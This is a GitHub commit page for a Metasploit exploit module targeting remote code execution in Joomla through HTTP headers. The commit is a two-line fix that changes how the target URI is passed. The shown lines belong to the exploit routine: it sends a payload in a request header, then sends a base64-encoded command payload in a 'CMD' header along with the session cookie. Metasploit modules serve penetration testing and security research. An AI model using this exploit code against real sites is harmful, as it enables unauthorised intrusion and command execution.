Skip to content

Commit c2795d5

Browse files
committed
use target_uri.path
1 parent 2e54cd2 commit c2795d5

File tree

1 file changed

+2
-2
lines changed

1 file changed

+2
-2
lines changed

modules/exploits/multi/http/joomla_http_header_rce.rb

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -120,13 +120,13 @@ def exploit
120120
print_status("Sending payload ...")
121121
res = send_request_cgi({
122122
'method' => 'GET',
123-
'uri' => target_uri.to_s,
123+
'uri' => target_uri.path,
124124
'headers' => { datastore['HEADER'] => get_payload }
125125
})
126126
session_cookie = res.get_cookies
127127
res = send_request_cgi({
128128
'method' => 'GET',
129-
'uri' => target_uri.to_s,
129+
'uri' => target_uri.path,
130130
'cookie' => session_cookie,
131131
'headers' => {
132132
'CMD' => Rex::Text.encode_base64(payload.encoded)

0 commit comments

Comments
 (0)